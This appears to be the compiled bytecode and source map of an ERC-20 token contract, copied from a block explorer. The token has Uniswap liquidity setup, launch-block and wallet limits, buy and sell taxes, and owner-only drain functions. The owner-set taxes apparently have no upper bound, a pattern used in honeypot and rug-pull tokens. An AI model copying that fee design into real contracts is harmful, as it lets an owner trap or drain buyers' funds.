0e805460ff1916600117905543600c55565b6000610573338484610f03565b6000546001600160a01b031633146109645760405162461bcd60e51b81526004016105c8906117ac565b6001600160a01b0381166109ba5760405162461bcd60e51b815260206004820152601d60248201527f6e6577206f776e657220697320746865207a65726f206164647265737300000060448201526064016105c8565b600080546001600160a01b0319166001600160a01b0383169081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a350565b6000546001600160a01b03163314610a2f5760405162461bcd60e51b81526004016105c8906117ac565b600b546040516001600160a01b03909116904780156108fc02916000818181858888f19350505050158015610830573d6000803e3d6000fd5b6000546001600160a01b03163314610a925760405162461bcd60e51b81526004016105c8906117ac565b600d55565b6000546001600160a01b03163314610ac15760405162461bcd60e51b81526004016105c8906117ac565b600e5460ff1615610b085760405162461bcd60e51b8152602060048201526011602482015270416c7265616479206c61756e636865642160781b60448201526064016105c8565b600880546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155610b51903090610b436012600a611786565b610667906305f5e100611795565b600860009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610ba4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610bc8919061181e565b6001600160a01b031663c9c6539630600860009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610c2a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c4e919061181e565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610c9b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610cbf919061181e565b600980546001600160a01b0319166001600160a01b03928316908117909155600a54610cee9216600019610e3f565b6008546001600160a01b031663f305d7194730610d20816001600160a01b031660009081526001602052604090205490565b600080610d356000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610d9d573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610dc2919061183b565b505060095460085460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610e1b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061083091906117fc565b6001600160a01b03831615801590610e5f57506001600160a01b03821615155b610ea25760405162461bcd60e51b8152602060048201526014602482015273617070726f7665207a65726f206164647265737360601b60448201526064016105c8565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610f675760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105c8565b6001600160a01b038216610fc95760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105c8565b6000811161102b5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016105c8565b6001600160a01b03831660009081526003602052604090205460ff168061106a57506001600160a01b03821660009081526003602052604090205460ff165b15611079576000600555611212565b600e5460ff166110be5760405162461bcd60e51b815260206004820152601060248201526f0aec2d2e840e8d2d8d840d8c2eadcc6d60831b60448201526064016105c8565b600d54600c546110ce9190611869565b4310156110df576014600555611212565b6009546001600160a01b039081169084160361117b5760045481611118846001600160a01b031660009081526001602052604090205490565b6111229190611869565b11156111705760405162461bcd60e51b815260206004820152601760248201527f4d61782077616c6c6574203225206174206c61756e636800000000000000000060448201526064016105c8565b600654600555611212565b6009546001600160a01b039081169083160361120c5730600090815260016020526040902054600f54811180156111b5575060105460ff16155b15611200576111c66012600a611786565b6111d390620f4240611795565b8111156111f6576111e66012600a611786565b6111f390620f4240611795565b90505b6112008183611357565b50600754600555611212565b60006005555b60006064600554836112249190611795565b61122e919061187c565b9050600061123c828461189e565b6001600160a01b03861660009081526001602052604090205490915061126390849061189e565b6001600160a01b038087166000908152600160205260408082209390935590861681522054611293908290611869565b6001600160a01b0385166000908152600160205260408082209290925530815220546112c0908390611869565b3060009081526001602090815260409182902092909255518281526001600160a01b0386811692908816917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050505050565b600081848411156113415760405162461bcd60e51b81526004016105c89190611524565b50600061134e848661189e565b95945050505050565b6010805460ff191660011790556040805160028082526060820183526000926020830190803683370190505090503081600081518110611399576113996118b1565b6001600160a01b03928316602091820292909201810191909152600854604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156113f2573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611416919061181e565b81600181518110611429576114296118b1565b60200260200101906001600160a01b031690816001600160a01b031681525050600f548211156115155760085461146b9030906001600160a01b031685610e3f565b60085460405163791ac94760e01b81526001600160a01b039091169063791ac947906114a49086906000908690309042906004016118c7565b600060405180830381600087803b1580156114be57600080fd5b505af11580156114d2573d6000803e3d6000fd5b5050600b546040514793506001600160a01b03909116915082156108fc029083906000818181858888f19350505050158015611512573d6000803e3d6000fd5b50505b50506010805460ff1916905550565b600060208083528351808285015260005b8181101561155157858101830151858201604001528201611535565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461083057600080fd5b6000806040838503121561159a57600080fd5b82356115a581611572565b946020939093013593505050565b600080604083850312156115c657600080fd5b50508035926020909101359150565b6000806000606084860312156115ea57600080fd5b83356115f581611572565b9250602084013561160581611572565b929592945050506040919091013590565b60006020828403121561162857600080fd5b813561163381611572565b9392505050565b6000806040838503121561164d57600080fd5b823561165881611572565b9150602083013561166881611572565b809150509250929050565b60006020828403121561168557600080fd5b5035919050565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156116dd5781600019048211156116c3576116c361168c565b808516156116d057918102915b93841c93908002906116a7565b509250929050565b6000826116f457506001610577565b8161170157506000610577565b816001811461171757600281146117215761173d565b6001915050610577565b60ff8411156117325761173261168c565b50506001821b610577565b5060208310610133831016604e8410600b8410161715611760575081810a610577565b61176a83836116a2565b806000190482111561177e5761177e61168c565b029392505050565b600061163360ff8416836116e5565b80820281158282048414176105775761057761168c565b60208082526017908201527f63616c6c6572206973206e6f7420746865206f776e6572000000000000000000604082015260600190565b6000602082840312156117f557600080fd5b5051919050565b60006020828403121561180e57600080fd5b8151801515811461163357600080fd5b60006020828403121561183057600080fd5b815161163381611572565b60008060006060848603121561185057600080fd5b8351925060208401519150604084015190509250925092565b808201808211156105775761057761168c565b60008261189957634e487b7160e01b600052601260045260246000fd5b500490565b818103818111156105775761057761168c565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156119175784516001600160a01b0316835293830193918301916001016118f2565b50506001600160a01b0396909616606085015250505060800152939250505056fea2646970667358221220152a8de283e3d4ac36bc136b9f5ae9fa807c0dc5bce44f02549f180cdc2ffaa964736f6c63430008130033
Deployed Bytecode Sourcemap
3940:7730:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5692:83;;;;;;;;;;-1:-1:-1;5762:5:0;;;;;;;;;;;;-1:-1:-1;;;5762:5:0;;;;5692:83;;;;;;;:::i;:::-;;;;;;;;6526:160;;;;;;;;;;-1:-1:-1;6526:160:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;6526:160:0;1023:187:1;4709:41:0;;;;;;;;;;-1:-1:-1;4709:41:0;;;;-1:-1:-1;;;;;4709:41:0;;;;;;-1:-1:-1;;;;;1405:32:1;;;1387:51;;1375:2;1360:18;4709:41:0;1215:229:1;5969:100:0;;;;;;;;;;;;;:::i;:::-;;;1595:25:1;;;1583:2;1568:18;5969:100:0;1449:177:1;11203:146:0;;;;;;;;;;-1:-1:-1;11203:146:0;;;;;:::i;:::-;;:::i;:::-;;6816:283;;;;;;;;;;-1:-1:-1;6816:283:0;;;;;:::i;:::-;;:::i;5878:83::-;;;;;;;;;;-1:-1:-1;5878:83:0;;4247:2;2487:36:1;;2475:2;2460:18;5878:83:0;2345:184:1;10948:137:0;;;;;;;;;;-1:-1:-1;10948:137:0;;;;;:::i;:::-;;:::i;9786:192::-;;;;;;;;;;;;;:::i;11431:98::-;;;;;;;;;;-1:-1:-1;11510:11:0;;11431:98;;4757:28;;;;;;;;;;-1:-1:-1;4757:28:0;;;;-1:-1:-1;;;;;4757:28:0;;;4544:25;;;;;;;;;;;;;;;;6077:118;;;;;;;;;;-1:-1:-1;6077:118:0;;;;;:::i;:::-;-1:-1:-1;;;;;6170:17:0;6143:7;6170:17;;;:8;:17;;;;;;;6077:118;2314:148;;;;;;;;;;;;;:::i;11357:66::-;;;;;;;;;;;;11414:1;11400:11;:15;11357:66;11099:96;;;;;;;;;;;;;:::i;10704:112::-;;;;;;;;;;;;;:::i;1874:79::-;;;;;;;;;;-1:-1:-1;1912:7:0;1939:6;-1:-1:-1;;;;;1939:6:0;1874:79;;5783:87;;;;;;;;;;-1:-1:-1;5855:7:0;;;;;;;;;;;;-1:-1:-1;;;5855:7:0;;;;5783:87;;6203:165;;;;;;;;;;-1:-1:-1;6203:165:0;;;;;:::i;:::-;;:::i;4430:51::-;;;;;;;;;;;;;;;;4576:26;;;;;;;;;;;;;;;;6376:142;;;;;;;;;;-1:-1:-1;6376:142:0;;;;;:::i;:::-;-1:-1:-1;;;;;6483:18:0;;;6457:7;6483:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6376:142;4831:32;;;;;;;;;;-1:-1:-1;4831:32:0;;;;-1:-1:-1;;;;;4831:32:0;;;2079:227;;;;;;;;;;-1:-1:-1;2079:227:0;;;;;:::i;:::-;;:::i;10824:116::-;;;;;;;;;;;;;:::i;6695:113::-;;;;;;;;;;-1:-1:-1;6695:113:0;;;;;:::i;:::-;;:::i;9065:713::-;;;;;;;;;;;;;:::i;6526:160::-;6601:4;6617:39;403:10;6640:7;6649:6;6617:8;:39::i;:::-;-1:-1:-1;6674:4:0;6526:160;;;;;:::o;5969:100::-;6022:7;4308:13;4247:2;4308;:13;:::i;:::-;4296:25;;:9;:25;:::i;:::-;6042:19;;5969:100;:::o;11203:146::-;2001:6;;-1:-1:-1;;;;;2001:6:0;403:10;2001:22;1993:58;;;;-1:-1:-1;;;1993:58:0;;;;;;;:::i;:::-;;;;;;;;;11292:6:::1;:18:::0;;;;11321:7:::1;:20:::0;11203:146::o;6816:283::-;6914:4;6931:36;6941:6;6949:9;6960:6;6931:9;:36::i;:::-;6978:91;6987:6;403:10;7007:61;7045:6;7007:61;;;;;;;;;;;;;-1:-1:-1;;;7007:61:0;;;:11;:19;7019:6;-1:-1:-1;;;;;7007:19:0;-1:-1:-1;;;;;7007:19:0;;;;;;;;;;;;:33;7027:12;403:10;;323:98;7027:12;-1:-1:-1;;;;;7007:33:0;;;;;;;;;;;;-1:-1:-1;7007:33:0;;;:61;:37;:61::i;:::-;6978:8;:91::i;:::-;-1:-1:-1;7087:4:0;6816:283;;;;;:::o;10948:137::-;2001:6;;-1:-1:-1;;;;;2001:6:0;403:10;2001:22;1993:58;;;;-1:-1:-1;;;1993:58:0;;;;;;;:::i;:::-;11035:9:::1;::::0;11046:30:::1;::::0;-1:-1:-1;;;11046:30:0;;11070:4:::1;11046:30;::::0;::::1;1387:51:1::0;-1:-1:-1;;;;;11020:14:0;;::::1;::::0;::::1;::::0;11035:9;::::1;::::0;11020:14;;11046:15:::1;::::0;1360:18:1;;11046:30:0::1;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11020:57;::::0;-1:-1:-1;;;;;;11020:57:0::1;::::0;;;;;;-1:-1:-1;;;;;6491:32:1;;;11020:57:0::1;::::0;::::1;6473:51:1::0;6540:18;;;6533:34;6446:18;;11020:57:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;10948:137:::0;:::o;9786:192::-;2001:6;;-1:-1:-1;;;;;2001:6:0;403:10;2001:22;1993:58;;;;-1:-1:-1;;;1993:58:0;;;;;;;:::i;:::-;9879:1:::1;9855:21;:25;9847:61;;;::::0;-1:-1:-1;;;9847:61:0;;7062:2:1;9847:61:0::1;::::0;::::1;7044:21:1::0;7101:2;7081:18;;;7074:30;7140:25;7120:18;;;7113:53;7183:18;;9847:61:0::1;6860:347:1::0;9847:61:0::1;9919:51;::::0;9927:10:::1;::::0;9948:21:::1;9919:51:::0;::::1;;;::::0;::::1;::::0;;;9948:21;9927:10;9919:51;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;9786:192::o:0;2314:148::-;2001:6;;-1:-1:-1;;;;;2001:6:0;403:10;2001:22;1993:58;;;;-1:-1:-1;;;1993:58:0;;;;;;;:::i;:::-;2421:1:::1;2405:6:::0;;2384:40:::1;::::0;-1:-1:-1;;;;;2405:6:0;;::::1;::::0;2384:40:::1;::::0;2421:1;;2384:40:::1;2452:1;2435:19:::0;;-1:-1:-1;;;;;;2435:19:0::1;::::0;;2314:148::o;11099:96::-;2001:6;;-1:-1:-1;;;;;2001:6:0;403:10;2001:22;1993:58;;;;-1:-1:-1;;;1993:58:0;;;;;;;:::i;:::-;4308:13:::1;4247:2;4308;:13;:::i;:::-;4296:25;::::0;:9:::1;:25;:::i;:::-;11157:15;:30:::0;11099:96::o;10704:112::-;2001:6;;-1:-1:-1;;;;;2001:6:0;403:10;2001:22;1993:58;;;;-1:-1:-1;;;1993:58:0;;;;;;;:::i;:::-;10759:6:::1;:13:::0;;-1:-1:-1;;10759:13:0::1;10768:4;10759:13;::::0;;10796:12:::1;10783:10;:25:::0;10704:112::o;6203:165::-;6280:4;6296:42;403:10;6320:9;6331:6;6296:9;:42::i;2079:227::-;2001:6;;-1:-1:-1;;;;;2001:6:0;403:10;2001:22;1993:58;;;;-1:-1:-1;;;1993:58:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;2160:22:0;::::1;2152:64;;;::::0;-1:-1:-1;;;2152:64:0;;7414:2:1;2152:64:0::1;::::0;::::1;7396:21:1::0;7453:2;7433:18;;;7426:30;7492:31;7472:18;;;7465:59;7541:18;;2152:64:0::1;7212:353:1::0;2152:64:0::1;2227:6;:17:::0;;-1:-1:-1;;;;;;2227:17:0::1;-1:-1:-1::0;;;;;2227:17:0;::::1;::::0;;::::1;::::0;;2260:38:::1;::::0;2227:17;;;;2260:38:::1;::::0;2227:6;2260:38:::1;2079:227:::0;:::o;10824:116::-;2001:6;;-1:-1:-1;;;;;2001:6:0;403:10;2001:22;1993:58;;;;-1:-1:-1;;;1993:58:0;;;;;;;:::i;:::-;10890:9:::1;::::0;10882:50:::1;::::0;-1:-1:-1;;;;;10890:9:0;;::::1;::::0;10910:21:::1;10882:50:::0;::::1;;;::::0;10890:9:::1;10882:50:::0;10890:9;10882:50;10910:21;10890:9;10882:50;::::1;;;;;;;;;;;;;::::0;::::1;;;;6695:113:::0;2001:6;;-1:-1:-1;;;;;2001:6:0;403:10;2001:22;1993:58;;;;-1:-1:-1;;;1993:58:0;;;;;;;:::i;:::-;6771:11:::1;:28:::0;6695:113::o;9065:713::-;2001:6;;-1:-1:-1;;;;;2001:6:0;403:10;2001:22;1993:58;;;;-1:-1:-1;;;1993:58:0;;;;;;;:::i;:::-;9133:6:::1;::::0;::::1;;9132:7;9124:36;;;::::0;-1:-1:-1;;;9124:36:0;;7772:2:1;9124:36:0::1;::::0;::::1;7754:21:1::0;7811:2;7791:18;;;7784:30;-1:-1:-1;;;7830:18:1;;;7823:47;7887:18;;9124:36:0::1;7570:341:1::0;9124:36:0::1;9171:15;:80:::0;;-1:-1:-1;;;;;;9171:80:0::1;9208:42;9171:80:::0;;::::1;::::0;;;9262:63:::1;::::0;9279:4:::1;::::0;4308:13:::1;4247:2;4308;:13;:::i;:::-;4296:25;::::0;:9:::1;:25;:::i;9262:63::-;9370:15;;;;;;;;;-1:-1:-1::0;;;;;9370:15:0::1;-1:-1:-1::0;;;;;9370:23:0::1;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;9352:55:0::1;;9416:4;9423:15;;;;;;;;;-1:-1:-1::0;;;;;9423:15:0::1;-1:-1:-1::0;;;;;9423:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;9352:94;::::0;-1:-1:-1;;;;;;9352:94:0::1;::::0;;;;;;-1:-1:-1;;;;;8402:15:1;;;9352:94:0::1;::::0;::::1;8384:34:1::0;8454:15;;8434:18;;;8427:43;8319:18;;9352:94:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;9336:13;:110:::0;;-1:-1:-1;;;;;;9336:110:0::1;-1:-1:-1::0;;;;;9336:110:0;;::::1;::::0;;::::1;::::0;;;9498:16:::1;::::0;9457:75:::1;::::0;9498:16:::1;-1:-1:-1::0;;9457:8:0::1;:75::i;:::-;9543:15;::::0;-1:-1:-1;;;;;9543:15:0::1;:31;9582:21;9613:4;9619:24;9613:4:::0;-1:-1:-1;;;;;6170:17:0;6143:7;6170:17;;;:8;:17;;;;;;;6077:118;9619:24:::1;9644:1;9646::::0;9648:7:::1;1912::::0;1939:6;-1:-1:-1;;;;;1939:6:0;;1874:79;9648:7:::1;9543:129;::::0;::::1;::::0;;;-1:-1:-1;;;;;;9543:129:0;;;-1:-1:-1;;;;;8840:15:1;;;9543:129:0::1;::::0;::::1;8822:34:1::0;8872:18;;;8865:34;;;;8915:18;;;8908:34;;;;8958:18;;;8951:34;9022:15;;;9001:19;;;8994:44;9656:15:0::1;9054:19:1::0;;;9047:35;8756:19;;9543:129:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;9706:13:0::1;::::0;9737:15:::1;::::0;9699:71:::1;::::0;-1:-1:-1;;;9699:71:0;;-1:-1:-1;;;;;9737:15:0;;::::1;9699:71;::::0;::::1;6473:51:1::0;-1:-1:-1;;6540:18:1;;;6533:34;9706:13:0;::::1;::::0;-1:-1:-1;9699:29:0::1;::::0;6446:18:1;;9699:71:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;7107:265::-:0;-1:-1:-1;;;;;7200:19:0;;;;;;:44;;-1:-1:-1;;;;;;7223:21:0;;;;7200:44;7192:77;;;;-1:-1:-1;;;7192:77:0;;9885:2:1;7192:77:0;;;9867:21:1;9924:2;9904:18;;;9897:30;-1:-1:-1;;;9943:18:1;;;9936:50;10003:18;;7192:77:0;9683:344:1;7192:77:0;-1:-1:-1;;;;;7280:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;7332:32;;1595:25:1;;;7332:32:0;;1568:18:1;7332:32:0;;;;;;;7107:265;;;:::o;7380:1677::-;-1:-1:-1;;;;;7478:18:0;;7470:68;;;;-1:-1:-1;;;7470:68:0;;10234:2:1;7470:68:0;;;10216:21:1;10273:2;10253:18;;;10246:30;10312:34;10292:18;;;10285:62;-1:-1:-1;;;10363:18:1;;;10356:35;10408:19;;7470:68:0;10032:401:1;7470:68:0;-1:-1:-1;;;;;7557:16:0;;7549:64;;;;-1:-1:-1;;;7549:64:0;;10640:2:1;7549:64:0;;;10622:21:1;10679:2;10659:18;;;10652:30;10718:34;10698:18;;;10691:62;-1:-1:-1;;;10769:18:1;;;10762:33;10812:19;;7549:64:0;10438:399:1;7549:64:0;7641:1;7632:6;:10;7624:64;;;;-1:-1:-1;;;7624:64:0;;11044:2:1;7624:64:0;;;11026:21:1;11083:2;11063:18;;;11056:30;11122:34;11102:18;;;11095:62;-1:-1:-1;;;11173:18:1;;;11166:39;11222:19;;7624:64:0;10842:405:1;7624:64:0;-1:-1:-1;;;;;7713:28:0;;;;;;:22;:28;;;;;;;;;:58;;-1:-1:-1;;;;;;7745:26:0;;;;;;:22;:26;;;;;;;;7713:58;7709:989;;;7795:1;7788:4;:8;7709:989;;;7837:6;;;;7829:35;;;;-1:-1:-1;;;7829:35:0;;11454:2:1;7829:35:0;;;11436:21:1;11493:2;11473:18;;;11466:30;-1:-1:-1;;;11512:18:1;;;11505:46;11568:18;;7829:35:0;11252:340:1;7829:35:0;7911:11;;7898:10;;:24;;;;:::i;:::-;7883:12;:39;7879:808;;;7930:2;7925:4;:7;7879:808;;;7971:13;;-1:-1:-1;;;;;7971:13:0;;;7963:21;;;;7959:713;;8043:15;;8033:6;8017:13;8027:2;-1:-1:-1;;;;;6170:17:0;6143:7;6170:17;;;:8;:17;;;;;;;6077:118;8017:13;:22;;;;:::i;:::-;:41;;8009:77;;;;-1:-1:-1;;;8009:77:0;;11929:2:1;8009:77:0;;;11911:21:1;11968:2;11948:18;;;11941:30;12007:25;11987:18;;;11980:53;12050:18;;8009:77:0;11727:347:1;8009:77:0;8116:6;;8109:4;:13;7959:713;;;8158:13;;-1:-1:-1;;;;;8158:13:0;;;8152:19;;;;8148:524;;8237:4;8196:20;6170:17;;;:8;:17;;;;;;8285:11;;8270:26;;:47;;;;-1:-1:-1;8301:16:0;;;;8300:17;8270:47;8266:293;;;4386:13;4247:2;4386;:13;:::i;:::-;4376:23;;:7;:23;:::i;:::-;8350:12;:29;8346:123;;;4386:13;4247:2;4386;:13;:::i;:::-;4376:23;;:7;:23;:::i;:::-;8412:29;;8346:123;8495:40;8514:12;8528:6;8495:18;:40::i;:::-;-1:-1:-1;8588:7:0;;8581:4;:14;8148:524;;;8651:1;8644:4;:8;8148:524;8710:21;8752:3;8744:4;;8735:6;:13;;;;:::i;:::-;8734:21;;;;:::i;:::-;8710:45;-1:-1:-1;8766:22:0;8791;8710:45;8791:6;:22;:::i;:::-;-1:-1:-1;;;;;8843:14:0;;;;;;:8;:14;;;;;;8766:47;;-1:-1:-1;8843:23:0;;8860:6;;8843:23;:::i;:::-;-1:-1:-1;;;;;8826:14:0;;;;;;;:8;:14;;;;;;:40;;;;8892:12;;;;;;;:29;;8907:14;;8892:29;:::i;:::-;-1:-1:-1;;;;;8877:12:0;;;;;;:8;:12;;;;;;:44;;;;8975:4;8958:23;;;;:39;;8984:13;;8958:39;:::i;:::-;8949:4;8932:23;;;;:8;:23;;;;;;;;;:65;;;;9015:34;1595:25:1;;;-1:-1:-1;;;;;9015:34:0;;;;;;;;;;1568:18:1;9015:34:0;;;;;;;7449:1608;;7380:1677;;;:::o;763:190::-;849:7;885:12;877:6;;;;869:29;;;;-1:-1:-1;;;869:29:0;;;;;;;;:::i;:::-;-1:-1:-1;909:9:0;921:5;925:1;921;:5;:::i;:::-;909:17;763:190;-1:-1:-1;;;;;763:190:0:o;9986:710::-;5147:16;:23;;-1:-1:-1;;5147:23:0;5166:4;5147:23;;;10113:16:::1;::::0;;10127:1:::1;10113:16:::0;;;;;::::1;::::0;;-1:-1:-1;;10113:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;10113:16:0::1;10089:40;;10158:4;10140;10145:1;10140:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10140:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;10184:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;10184:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;10140:7;;10184:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10174:4;10179:1;10174:7;;;;;;;;:::i;:::-;;;;;;:32;-1:-1:-1::0;;;;;10174:32:0::1;;;-1:-1:-1::0;;;;;10174:32:0::1;;;::::0;::::1;10238:11;;10222:13;:27;10219:470;;;10298:15;::::0;10266:62:::1;::::0;10283:4:::1;::::0;-1:-1:-1;;;;;10298:15:0::1;10316:11:::0;10266:8:::1;:62::i;:::-;10343:15;::::0;:220:::1;::::0;-1:-1:-1;;;10343:220:0;;-1:-1:-1;;;;;10343:15:0;;::::1;::::0;:66:::1;::::0;:220:::1;::::0;10428:11;;10343:15:::1;::::0;10478:4;;10509::::1;::::0;10533:15:::1;::::0;10343:220:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;10642:9:0::1;::::0;:35:::1;::::0;10606:21:::1;::::0;-1:-1:-1;;;;;;10642:9:0;;::::1;::::0;-1:-1:-1;10642:35:0;::::1;;;::::0;10606:21;;10580:23:::1;10642:35:::0;10580:23;10642:35;10606:21;10642:9;:35;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;10251:438;10219:470;-1:-1:-1::0;;5193:16:0;:24;;-1:-1:-1;;5193:24:0;;;-1:-1:-1;9986:710:0:o;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;703:315;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1631:248::-;1699:6;1707;1760:2;1748:9;1739:7;1735:23;1731:32;1728:52;;;1776:1;1773;1766:12;1728:52;-1:-1:-1;;1799:23:1;;;1869:2;1854:18;;;1841:32;;-1:-1:-1;1631:248:1:o;1884:456::-;1961:6;1969;1977;2030:2;2018:9;2009:7;2005:23;2001:32;1998:52;;;2046:1;2043;2036:12;1998:52;2085:9;2072:23;2104:31;2129:5;2104:31;:::i;:::-;2154:5;-1:-1:-1;2211:2:1;2196:18;;2183:32;2224:33;2183:32;2224:33;:::i;:::-;1884:456;;2276:7;;-1:-1:-1;;;2330:2:1;2315:18;;;;2302:32;;1884:456::o;2534:261::-;2607:6;2660:2;2648:9;2639:7;2635:23;2631:32;2628:52;;;2676:1;2673;2666:12;2628:52;2715:9;2702:23;2734:31;2759:5;2734:31;:::i;:::-;2784:5;2534:261;-1:-1:-1;;;2534:261:1:o;3260:388::-;3328:6;3336;3389:2;3377:9;3368:7;3364:23;3360:32;3357:52;;;3405:1;3402;3395:12;3357:52;3444:9;3431:23;3463:31;3488:5;3463:31;:::i;:::-;3513:5;-1:-1:-1;3570:2:1;3555:18;;3542:32;3583:33;3542:32;3583:33;:::i;:::-;3635:7;3625:17;;;3260:388;;;;;:::o;3877:180::-;3936:6;3989:2;3977:9;3968:7;3964:23;3960:32;3957:52;;;4005:1;4002;3995:12;3957:52;-1:-1:-1;4028:23:1;;3877:180;-1:-1:-1;3877:180:1:o;4062:127::-;4123:10;4118:3;4114:20;4111:1;4104:31;4154:4;4151:1;4144:15;4178:4;4175:1;4168:15;4194:422;4283:1;4326:5;4283:1;4340:270;4361:7;4351:8;4348:21;4340:270;;;4420:4;4416:1;4412:6;4408:17;4402:4;4399:27;4396:53;;;4429:18;;:::i;:::-;4479:7;4469:8;4465:22;4462:55;;;4499:16;;;;4462:55;4578:22;;;;4538:15;;;;4340:270;;;4344:3;4194:422;;;;;:::o;4621:806::-;4670:5;4700:8;4690:80;;-1:-1:-1;4741:1:1;4755:5;;4690:80;4789:4;4779:76;;-1:-1:-1;4826:1:1;4840:5;;4779:76;4871:4;4889:1;4884:59;;;;4957:1;4952:130;;;;4864:218;;4884:59;4914:1;4905:10;;4928:5;;;4952:130;4989:3;4979:8;4976:17;4973:43;;;4996:18;;:::i;:::-;-1:-1:-1;;5052:1:1;5038:16;;5067:5;;4864:218;;5166:2;5156:8;5153:16;5147:3;5141:4;5138:13;5134:36;5128:2;5118:8;5115:16;5110:2;5104:4;5101:12;5097:35;5094:77;5091:159;;;-1:-1:-1;5203:19:1;;;5235:5;;5091:159;5282:34;5307:8;5301:4;5282:34;:::i;:::-;5352:6;5348:1;5344:6;5340:19;5331:7;5328:32;5325:58;;;5363:18;;:::i;:::-;5401:20;;4621:806;-1:-1:-1;;;4621:806:1:o;5432:140::-;5490:5;5519:47;5560:4;5550:8;5546:19;5540:4;5519:47;:::i;5577:168::-;5650:9;;;5681;;5698:15;;;5692:22;;5678:37;5668:71;;5719:18;;:::i;5750:347::-;5952:2;5934:21;;;5991:2;5971:18;;;5964:30;6030:25;6025:2;6010:18;;6003:53;6088:2;6073:18;;5750:347::o;6102:184::-;6172:6;6225:2;6213:9;6204:7;6200:23;6196:32;6193:52;;;6241:1;6238;6231:12;6193:52;-1:-1:-1;6264:16:1;;6102:184;-1:-1:-1;6102:184:1:o;6578:277::-;6645: